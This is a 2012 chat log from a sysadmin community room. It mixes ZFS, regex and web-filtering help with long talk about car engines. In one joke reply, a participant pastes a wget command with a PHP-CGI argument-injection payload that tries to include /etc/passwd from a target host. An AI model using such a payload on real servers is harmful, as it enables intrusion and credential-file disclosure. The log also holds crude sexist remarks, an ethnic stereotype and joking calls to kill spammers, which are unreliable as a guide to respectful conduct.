The Comms Room

voretaq7

21:00

(actually I think it's 35 but I haven't looked in a long time)

Chris S

I know of half a dozen women that have trapped men, got pregnant, quit working and just live off the fact that the courts really don't care that the mother doesn't give a sh*t about their kids and see them as income (welfare, child support, and anything else they can get). They bring in a reasonable living working the system like that.

@voretaq7 I don't have any kids, so I'm going by what people I know tell me. Numbers may be exaggerated.

voretaq7

@ChrisS I know of 2

and what's really sad is the dads in both cases really want to be involved in the kids' lives and can't.

Adrian

@voretaq7 Yup. Reason #74 why I got snipped a few years back.

Chris S

@voretaq7 All the guys I know screwed something up big time... It's only a couple, so I'm sure there's plenty of variety, but the courts seem to be like the Internet, never forget.

voretaq7

do I just not know enough ZFS, or is this kinda... incoherent?

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Q: ZFS for offline backups

I'm thinking of using ZFS to backups files to single drives that are going to be kept mostly offline. Does anyone know if the FreeBSD ZFS implementation still uses memory if a dedupped pool is exported?

Adrian

21:03

And the situation with the Padawans is kinda sad. They're all genuinely likable folks. But there's no coherent policies so everyone does what's personally in their best interest and does their best to ignore me.

voretaq7

@ChrisS one case I know of was mutual separation, the other is wifey-poo was steppin' out, daddy called her on her whoring around, and she sued for divorce (still pending, but he's paying child support)

Adrian

@voretaq7 And he'll probably be paying till the kids are 21+ and half or more of their college bills.

The local child support offices are trying to get it pushed through that child support should extend through college and as far as age 25.

voretaq7

@Adrian yuppers

Chris S

@voretaq7 He not specific on what kind of "memory" he's talking about, so I'm going to assume it's RAM and answer that way.

ewwhite

@voretaq7 It don't make no sense.

Actually, yes it does.

voretaq7

21:08

@ChrisS I assumed RAM too, but the question seemed somehow bizarre to me when I read it

@ewwhite How'd you make sense of it? Maybe my brain is just not working

Chris S

It only makes sense if you make some assumptions...

voretaq7

@ChrisS like "Users of Server Fault will be competent sysadmins capable of posting coherent questions" ?

ewwhite

Actually, I don't know how FreeBSD handles the dedupe RAM requirements.

Chris S

When ZFS exports a file system it makes the pool ready to be removed (like drives can be unplugged)

voretaq7

Because every time I make that assumption a counterexample comes along and kicks me in the face.

Chris S

21:10

All the dedupe stuff is handled at the file system level, a pool marked for export wont have and "functioning" file systems.

ewwhite

Is there an in-RAM DDT in the FreeBSD ZFS?

voretaq7

@ChrisS right - so by the time you get to the export stage the dedup ram should have been released

David

man, my job is so dreadfully boring

Chris S

@ewwhite Yes, as long as your system has 4GB or more RAM.

There's a knob somewhere to force it on/off too.

voretaq7

@ChrisS hides shameful front-end web servers with 2GB of RAM

WesleyDavid

21:13

@voretaq7 Your front end servers have... giga bytes? I... I... hold me. =(

Chris S

@voretaq7 Yes; everything is essentially "offline" when it's in "export" mode.. Like that Remove Hardware thing in Windows XP you had to do or your flash drives would get corrupted.

voretaq7

@ChrisS OH - so "ZFS Export" is just a shortcut that calls panic()?

(I'm sorry, that was mean wasn't it?)

Chris S

@voretaq7 Erm, that'd crash the system....

voretaq7

@ChrisS ...just like "remove hardware" in Windows XP.

Chris S

le sigh

WesleyDavid

21:18

@voretaq7 Safely Remove Hardware in Windows ME did this in kernel space:

voretaq7

@ChrisS it's sad because it was true up until SP1!

Adrian

panic'd a Netware 4 box once. Bumped the SCSI cable and it fell out of the tape drive.

WesleyDavid

Michael Hampton

Windows Me did that for almost everything.

WesleyDavid

Actually, no, that's kermit with a TSA agent just out of the frame on the bottom.

^Insulted TSA. Strs pls.

voretaq7

21:19

A proper Sun system would not have panic'd.
(It would have gone into its sad place and started whimpering like a kicked puppy until you plugged it back in, entered the boot monitor, and ran probe-scsi all)

WesleyDavid

@voretaq7 Scuzzy probes? Who developed Solaris, a TSA agent? I'M ON A ROLL FOLKS!!

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voretaq7

or is it probe-scsi-all? Fuck... I'm losing my crusty old sun admin edge! SOMEONE BRING ME A SYSTEM WITH A PROPER OPENBOOT ENVIRONMENT AND A DEAD EEPROM BATTERY!

WesleyDavid

Tip your waitresses.

Adrian

@WesleyDavid And then be courteous and return them to their original upright position.

One waitress last night was eerily tall. 6'1" without the 4" heels and a short skirt. All you say was legs going by if you were sitting at your table.

Michael Hampton

And the problem is?

Chris S

21:22

@MichaelHampton He doesn't remember. All he can remember now are "legs"

WesleyDavid

legslegslegslegslegslegslegslegslegslegslegslegslegslegs

Adrian

@MichaelHampton No problem really. She was too skinny for my taste anyway. The GF pointed out that I sounds liked an old fart when I mentioned it.

voretaq7

@ChrisS Legs go all the way to the top. (no seriously, our waitresses are just robotic legs with a serving tray mounted on top!)

@Adrian You enjoy large posteriors and you cannot prevaricate?

ewwhite

Quick web filtering issue.

I was almost able to help today.

Joel E Salas

Bah

I'm getting my ass handed to me by this string

ewwhite

21:32

A client asked for a web filtering solution.

Jeff Ferland

Woohoo. Sunk a candidate in 7 minutes of phone screening.

ewwhite

@JeffFerland meanie

Adrian

@voretaq7 This is true. Curves are more fun. Fenceposts just bore me.

@JeffFerland I imagine I'd get about 90 seconds in.

voretaq7

Elliptic curve cryptography

Elliptic curve cryptography (ECC) is an approach to public-key cryptography based on the algebraic structure of elliptic curves over finite fields. The use of elliptic curves in cryptography was suggested independently by Neal Koblitz and Victor S. Miller in 1985. Elliptic curves are also used in several integer factorization algorithms that have applications in cryptography, such as Lenstra elliptic curve factorization. Introduction Public-key cryptography is based on the intractability of certain mathematical problems. Early public-key systems are secure assuming that it is difficult to...

Have some porn :)

Michael Hampton

Can't, it's patented.

Or so Red Hat claims.

Jeff Ferland

21:33

@ewwhite I'm sure he was great at networking, but 1) no scripting experience and 2) I don't know how to list the users on a Linux system == we're done.

voretaq7

@JeffFerland did they cry?

ewwhite

@JeffFerland I cain't script, and I don't know any networking either!

Jeff Ferland

@voretaq7 No, but he definitely got quiet when he realized I was ending it.

Michael Hampton

@JeffFerland Come on, those are easy questions.

voretaq7

@ewwhite r0ar!

Zoredache

21:35

@JeffFerland what were you expecting for listing the users on a Linux system? A simple cat /etc/passwd, getent passwd, or something more elaborate?

Adrian

@JeffFerland Always amazes me how people with no experience in some of the required skills actually apply for jobs where they have no chance.

ewwhite

ls -ld /home

Jeff Ferland

@Zoredache Any of those would have been a win.

Joel E Salas

@Zoredache A full LDAP query to bind and enumerate all users

Michael Hampton

You list the users on a Linux system by running

wget http://198.51.100.206/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D../../../../../../../../../../../../etc/passwd%00%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D../../../../../../../../../../../../etc/passwd%00%20-n

voretaq7

21:37

@JoelESalas ...properly filtering by the allowed users OU?

Michael Hampton

Minus the bad paste job.

voretaq7

@MichaelHampton HISS

Michael Hampton

Pop quiz. What's at 198.51.100.206? No Googling.

Joel E Salas

Is anyone really ridiculously good at regular expressions

Michael Hampton

@JoelESalas Somebody is, I'm sure.

Zoredache

21:41

@JoelESalas just ask your question?

Joel E Salas

@Zoredache I need to match and remove "TV Program: Season 1 Episode 6 " for many different TV program/season/episode.

Michael Hampton

@JoelESalas It would be easier to filter HTML with regex.

Joel E Salas

I'm trying to just match Episode [0-9]+ and anything before it

Zoredache

Something like .*:\s+Season\s+\d+\s+Episode\s+\d+\s+ perhaps?

Michael Hampton

Then you have the variants that look like S02E07 ...

@HopelessN00b Just how badly did you break your network?!

Jeff Ferland

21:45

@JoelESalas Give me a varied list of things to match and things to reject.

ewwhite

@JoelESalas heheheh

Michael Hampton

(?:(?:\r\n)?[ \t])*(?:(?:(?:[^()<>@,;:\\".\[\] \000-\031]+(?:(?:(?:\r\n)?[ \t]
)+|\Z|(?=[\["()<>@,;:\\".\[\]]))|"(?:[^\"\r\\]|\\.|(?:(?:\r\n)?[ \t]))*"(?:(?:
\r\n)?[ \t])*)(?:\.(?:(?:\r\n)?[ \t])*(?:[^()<>@,;:\\".\[\] \000-\031]+(?:(?:(
?:\r\n)?[ \t])+|\Z|(?=[\["()<>@,;:\\".\[\]]))|"(?:[^\"\r\\]|\\.|(?:(?:\r\n)?[
\t]))*"(?:(?:\r\n)?[ \t])*))*@(?:(?:\r\n)?[ \t])*(?:[^()<>@,;:\\".\[\] \000-\0
31]+(?:(?:(?:\r\n)?[ \t])+|\Z|(?=[\["()<>@,;:\\".\[\]]))|\[([^\[\]\r\\]|\\.)*\
](?:(?:\r\n)?[ \t])*)(?:\.(?:(?:\r\n)?[ \t])*(?:[^()<>@,;:\\".\[\] \000-\031]+

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Sorry about the line noise, the cat knocked the phone off the hook.

Adrian

@MichaelHampton I guess some good came of that question. It got me out of my 6 week 'no answers' funk.

ewwhite

So y'all know I work with Barracuda Web filters...

Joel E Salas

Match these:
"TV Program: Season 1 Episode 12 "
"Other Program: Season 12 Episode 23 " (including trailing space, not that it matters much)

Adrian

21:48

@ewwhite And sell them too, I think. =)

ewwhite

customer needs to audit web browsing traffic from a co-located server

Michael Hampton

Web Filter Test Link: Tests the functionality of your web filter and provides a management report.

ewwhite

What's the best way to get that in place?

Normally I'd use a barracuda appliance...

Michael Hampton

@ewwhite Wait, there's web browsing traffic originating from the co-located server?!

Is it a proxy or something?

ewwhite

@MichaelHampton Apparently... not much, but some.

for client computers, a Barracuda is a no-brainer.

Michael Hampton

21:51

They're going to feel really silly when it turns out to be yum update.

ewwhite

but I'm trying to figure out how to do this and not disrupt the infra too much

these servers have inbound load balancers for web applications

Michael Hampton

@ewwhite Is the affected server Linux or Windows? Can you touch it? Or do you have to do this by tapping into the network?

ewwhite

Primarily windows.

multiples.

Michael Hampton

Oh, multiple boxes need to be audited, then?

Jeff Ferland

$ egrep 'S(eason)?[[:space:]]*[0-9]+[[:space:]]*E(pisode)?[[:space:]]*[0-9]+' testcase
"TV Program: Season 1 Episode 12 "
"Other Program: Season 12 Episode 23 "

ewwhite

21:54

I have used a Barracuda VX VMWare appliance as well...

but that requires proxy setup

Jeff Ferland

@MichaelHampton www.evilregexgenerator.com?

Michael Hampton

Find a switch they all have to talk to, mirror the port, hook some box up to it and start capturing traffic. I'd start by logging only UDP port 53, just to see what they're looking for, and if anything interesting turns up you can look further.

ewwhite

@MichaelHampton Good idea for auditing...

Michael Hampton

@JeffFerland No, it's an actual regex for parsing email addresses.

ewwhite

That's way less intrusive.

Michael Hampton

22:00

I became a lot more paranoid when I first learned that switches could mirror ports.

If you see mass quantities of traffic from me on port 9100, it's not because I'm doing a lot of printing. :)

superuser.com/a/474340/144961 Oh dear god, will it EVER end?

Adrian

HowTF is that question getting upvotes? It's down to -19 and the user has 4 rep.

Michael Hampton

I see +3/-22 . . . and one favorited

Joel E Salas

@JeffFerland Didn't work with sed, I think its spotty support of regex is the problem.

Adrian

@MichaelHampton Aye, that's what I figured. But it seriously boggles me that anyone would upvote that festering POS.

Michael Hampton

I know, they're keeping it from becoming the worst question ever on superuser.

Adrian

22:08

At best, it sounds like a homework question to me. But it's probably spam.

@JoelESalas You said your place is looking to hire, right?

Michael Hampton

As far as I can tell, it's really some Indian "developer" who expected to make an easy 20 bucks importing a CSV into Outlook.

Joel E Salas

@Adrian Affirmative

Adrian

@JoelESalas Got that linky handy?

My patience tank just hit 'reserve'.

voretaq7

@Adrian how's your murderous rage tank?

Adrian

@voretaq7 Plenty there. I've gotten to the point that I like my revenge cold. And living well is the best revenge.

voretaq7

22:13

XLNT

Adrian

That and I try to bring the good staff with me when I leave.

voretaq7

@Adrian by good staff you mean your walking stick?

'cuz it sounds like the competence of the average walking stick exceeds that of your co-workers

(or at least your boss)

Adrian

@voretaq7 We'll see. There's one or two that might be worth saving here. I'm sometimes a bit demanding.

It's always been a bit surprising to me that most folks I work with can't hold a conceptual understanding of a network or infrastructure in their head.

Dan

@MichaelHampton We should have a new rule - anyone posting a question about spamming gets killed. As in, literally deaded.

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voretaq7

@Adrian isn't that like a basic job requirement?

Michael Hampton

22:20

I put it on /r/sysadmin. It's been at the top of the page all day.

voretaq7

@Dan I sent him to superuser

Adrian

@voretaq7 Not here. But "writing" a decent cover letter is. or at least using someone else's template.

Dan

@voretaq7 But he's still alive, please work harder next time

voretaq7

that's kinda like yanno the gulag.

Joel E Salas

@JeffFerland sed -e 's/^[A-Za-z]\+: Season [0-9]\+ Episode [0-9]\+ //g'

hurfdurf

Michael Hampton

22:20

And yes, I wholeheartedly approve of dead spammers. And the coders who help them.

Adrian

@voretaq7 Honestly, he should've been sent straight to Hell.

voretaq7

@Dan I want him to SUFFER. SUFFER AS WE HAVE SUFFERED

Dan

@voretaq7 Ah, in which case, I kind of like your style

voretaq7

@Adrian that's not a valid migration target

Jeff Ferland

@JoelESalas egrep -v. hurfdurf yourself.

Adrian

22:21

@voretaq7 Then I blame @Zypher. The API is definitely lacking a necessary feature.

Michael Hampton

I've had a little side research project going where I'm trying to deliver electric shock via TCP/IP. Unfortunately I haven't made much progress.

voretaq7

@MichaelHampton ZoIP?

(ZOT over IP)

Michael Hampton

You get the idea.

Dan

@MichaelHampton HVDCoIP, that's what we need

Joel E Salas

[root@localhost ~]# egrep -V
egrep (GNU grep) 2.5.1

Michael Hampton

22:23

I didn't think electric shock over the Internet was feasible until I heard of Power over Ethernet. I think all you have to do is to up the voltage and design a routing protocol and we'll get there.

Dan

I need an "Explode this motherfucker" button in my browser

Joel E Salas

I was entirely hurfdurfing myself, I should know this a lot better and I don't

Jeff Ferland

Lowercase.
> -v, --invert-match
Invert the sense of matching, to select non-matching lines. (-v is specified by POSIX.)

Dan

@MichaelHampton I'm so going to spend some time convincing someone that PoE is routable

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Michael Hampton

@Dan My version of IOS doesn't seem to support routing PoE?

Gaaaaaa

Jeff Ferland

22:26

@MichaelHampton Future 3rd world problems right there.

Dan

@MichaelHampton Yeah, you can't do it on a Mac. Oh, wait...

Michael Hampton

That's too bad, because I find that some Mac users are in desperate need of a good electric shock.

Dan

*all

;)

voretaq7

@Dan HEY!

I've had plenty of electric shocks already!

Michael Hampton

Yes, but was the laptop in your lap at the time it delivered the electric shock?

Dan

22:29

@voretaq7 I gave myself a treat of a shock the other day. Went to adjust points on the car and, inbetween setting and testing, accidentally left the ignition on. Only did that once!

voretaq7

@Dan your car has mechanical points?

o_0

I remember when an ignition coil was a single $80 part. Now it's five $31.95 parts. Progress -- it FUCKING SUCKS, don't it?

Tweeted by voretaq7 on September 14, 2012 at 4:19 PM

Dan

@voretaq7 Oh yeah, and I set them to within 1 degree using nothing but a feeler gauge - fuck progress!

voretaq7

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Q: What's the meaning of logging in as "[email protected]:something"

My Windows 2008 R2 machine is joined to a domain. In the logon screen, if I type in "[email protected]:something" as the username, I can still logon properly, what's the meaning of ":something" appended at the end? I can even see the current user is displayed as "[email protected]:somet...

active-directory windows-server-2008-r2 domain login

mrr?!

Adrian

@voretaq7 Anything older than mid-70s right?

Dan

@Adrian Sounds about right, on average

voretaq7

22:33

@Adrian you'll find mechanical point/breaker ignition through the mid-late 80s

late 80s-early/mid 90s "pointless" (solid-state distributor) was the New Hotness

Dan

@voretaq7 Coil packs are my new hate

Adrian

@voretaq7 Yeah, but by the late 70s/early 80s ignition systems were moving to hall sensors with distributors or at least individual spark boxes.

voretaq7

that was quickly realized to be made of more suck than mechanical points, and replaced by coil packs

Dan

To be honest, I hate most things about new cars from a reliability / fix-ability standpoint

voretaq7

which suck big floppy donkey dick because no manufacturer can get the fucking things right.

@Dan Coil packs sound like a good thing, until you realize they never FAIL like a coil used to, they start "misbehaving" like pointless ignition systems did

I just had all 5 changed on my car because of misfires / pack shorts

Dan

22:35

@voretaq7 Exactly - crap to diagnose

Ouch, bet that was cheap..

voretaq7

Today's car repair: $500 (~ $280 in coils, plugs, and fuel filter, ~$220 in "I'm too lazy to do this myself, you fucking handle it").

Tweeted by voretaq7 on September 14, 2012 at 4:18 PM

$32 per pack (5 packs)

Dan

Honestly, I love engineering and some modern stuff amazes me, but in so many ways you just can't beat a normally aspirated mechanical engine with a carburettor and a mechanical distributer

voretaq7

plus me not having a deep enough socket to get the plugs out of a VW block, plus me not wanting to fight with the stupid wiring harness attached to the packs.

@Dan My car should not require me to hook up a PC to it to troubleshoot.

Dan

@voretaq7 I love that I have have to buy a new "specialist" tool every time I work on a different friends car

Adrian

@Dan That's why I love my old pre-2000s motorcycles. Carburetors and spark boxes FTW.

No more wierd engine behavior due to voltage deficiencies in the ECU after sitting in traffic too long.

voretaq7

22:38

(also I should not have to fucking tell VW what the problem is. "Oh we can diagnose that but it's going to cost you $200 for us to scan the codes" -- yeah FUCK THAT SHIT bitch, I'll plug my scanner in and drive the car like a maniac until it starts misbehaving and read the damn data off my laptop screen)

Dan

@Adrian If you can be arsed to learn the relatively small amount of knowledge to tune an old engine, it'll be just as reliable as a new one and be generally cheap as chips to sort

@voretaq7 Yeah, this paying for fault diagnostic is just fucking weird

Adrian

@Dan Oh yes. Going to be learning to work on the GF's 1963 Valiant this winter.

Dan

If, 10 years ago, I'd have taken a car in making a strange noise - there's no way any garage would have said "Oh yeah, we'll look but it'll cost you $200 first. Oh, and we may not suss it out at all"

voretaq7

@Dan I have NO problem paying shop rate for the mechanic to look at the car and try to find the problem

I have a problem when shop rate is $109/hr for my car, but "diagnostic rate" is $190/hr

Dan

@Adrian The satisfaction is unbeatable. The points were on my girlfriends '68 Beetle - did a full service (Cost £60 in parts) and a top-to-bottom tune, timing, carb, points etc. Sounded so sweet afterwards, purred like a kitten

voretaq7

22:41

(I also have a problem with shop rate for my car being $109/hr but shop rate for my fucking plane being $80/hr, but parts prices ensure that more than evens out...)

Dan

@voretaq7 Yeah, I don't mind paying for time

voretaq7

@Dan I want a mid-60s beetle - unfortunately getting one in drivable condition is like a $30k investment around here

Dan

@voretaq7 It's one of the reasons the vehicle to my left <-- hasn't seen a road in 2 years :(

WesleyDavid

@voretaq7 I grew up with one of those. My dad would let me drive it down to the mailbox at the end of the street when I was 5 =]

Still want one.

voretaq7

and getting one in "tear me down and rebuild me" condition isn't an option (nowhere to store it while I rebuild it, and no way to just throw money at it)

Dan

22:42

@voretaq7 Jesus, we've spent probably £6k+ (including purchase price) on Jane's, and I doubt it's worth half that

voretaq7

@Dan the body and heater channels are solid?

WesleyDavid

Imagine a 5 year old (on his dad's lap, of course) trying to steer that with obviously no power steering.

Those were the days.

voretaq7

(and you've had it painted?)

Dan

@voretaq7 Yeah, the problems were wheel arches and she crashed it twisting the framehead

voretaq7

@WesleyDavid beetle steering is VERY light because it's a rear engine

Dan

22:43

@voretaq7 Yep

voretaq7

yeah at least the wheel arches aren't structural.
Around here heater channels are almost always shot, and that means a frame jig and LOTS of welding time to replace them

Dan

@voretaq7 Yep, even the camper van steers better than a 'modern' car without power steering.

voretaq7

dead simple engines too, you can literally do a full teardown in your driveway with the tools that came with the car.

Dan

@voretaq7 Yeah, exceptional job to sort. Absolute nightmare - normally a body off job which isn't trivial, considering you have to brace the doors

voretaq7

Does yours have the original mesh-and-oil air cleaner?

Dan

22:44

@voretaq7 I'll be doing an engine swap in the next couple of weeks hopefully

@voretaq7 The van engine has very little original (It's a race engine ;) ), but no, the Beetle has an oil bath air filter. Original, though

voretaq7

@Dan VW engines are cheap enough that you can buy one, rebuild it, swap 'em, rebuild the other one and pickle it as a spare :P

Adrian

@voretaq7 Ugh. I hate those. Several of my bikes had foam and oil aftermarket air filters. =/

Dan

@voretaq7 High performance ones aren't, sadly. But yeah, stock engines are two a penny

@voretaq7 Actually, that's a confusion in terms. I've not heard it called mesh-and-oil over here

voretaq7

@Dan stock engine, new jugs, new pistons, and new crank if you want -- High performance engine at half the price :-)

@Dan oil bath is the right (VW) term for it

but when you say oil-bath air cleaner people hand you the oil filter

and then you have to sigh and explain things, and they get very confused

and then you show them what you mean and they get REALLY confused and do something stupid like drain the oil out of it.

Dan

@voretaq7 Yeah, but start chucking in decent kit and some nice carbs and the costs soon fly. Love my van engine though - it's a 1776, with a wamed up cam, electronic ignition and twin Webber 40 IDF's which are more like watering cans on the side

Oh, lifhtened flywheel too. I reckon it puts out about 110Bhp which is enough to surprise most people, if nothing else

voretaq7

22:48

@Dan the stock VW carb isn't bad actually. three kinds of bitch to get it tuned and idling right, but not bad other than that :)

Dan

And it does excellent burnouts and doughnuts...apparently

voretaq7

A lot of homebuilt aviation folks here use VW engines with the distributor replaced by a magneto

Dan

@voretaq7 Yeah, they can be a bit of tease when trying to tune

voretaq7

(and I know at least one guy with a magneto on his street car)

Dan

@voretaq7 Ah yes, I've heard of that. I believe there was a real aviation engine based on it too

voretaq7

22:49

@Dan yup - aeroconversions.com/products/aerovee/index.html

VW flat 4 with a few mods

Dan

@voretaq7 Weird seeing one with an output shaft

Is that fuel injected?

Ah yes, so it is, sweet

Seen a few people put Megasquirt setups and the like, but back to the original conversation, it all seems to add complexity

voretaq7

@Dan you can get them with K-Jet or throttle-body injection

Dan

@voretaq7 Clever folk otu there

WesleyDavid

Oops. Check with remote offices for remaining workers before rebooting servers.

Dan

Right, I need to go bed!

WesleyDavid

22:52

@Dan :-* Chloe.

Dan

@voretaq7 Good talk, I will resume VW nonsense with you another time :D

voretaq7

@Dan yea I should get outta here seing as how it's 7pm :P

ROAR! (I flee)

WesleyDavid

@voretaq7 Through a flaw in the flue?

Adrian

@Dan For a moment there I thought you were working with ewwhite's client.

Apparently we also hired an HR assistant who doesn't understand BCCs or the concept of Display Names from the sender in outgoing emails.

WesleyDavid

23:09

@Adrian So how's the studying going?

Adrian

@WesleyDavid Slowly not that I've discovered the Cisco books I bought really do suck. But the resume' editing is going to get moved way up top this weekend.

WesleyDavid

@Adrian Shoot, I totally forgot about that series, so much has happened. Do you still have access to my blog if you need refreshers?

If you want, I know a recruiter who is the one and the only non BS IT recruiter that I've ever met. She does resume rewrites for a fee. She did my one-pager. I lurve it.

It's not just "Give me your resume, I'll reformat it." She asks about you, what you want, where you want to go in your career.

@Adrian And did you get the Cisco Press books?

Joel E Salas

@JeffFerland That did it (in another part of this hideous script). Thank you

Jeff Ferland

@JoelESalas Most welcome.

Adrian

@WesleyDavid I'd started to. I'd gotten well into Cisco networking essentials before realizing that it's outdated.

@WesleyDavid Probably. I'll check if I get a chance this evening.

@WesleyDavid So are we talking 3 or 4 significant digits for said service? I can probably afford 3.

WesleyDavid

23:25

@Adrian Yeah, like $250 if I recall correctly. Way better than the reaming you get from TheLadders service.

Adrian

@WesleyDavid Not bad at all. That's even discretionary money. I think my old man drops about 10x on a recruiter for his positions with frequently less/slower results.

@WesleyDavid Another item that spurred this most particular reminder, the boss emailed me this morning deciding that maintaining an inventory of devices on the network (to prevent unauthorized acess) was too much work. It's not like I even have to get out of my chair to network discovery....

Journeyman Geek

o0

Adrian

Yeah. My "Give A Damn" is duly busted.

Scott Pack

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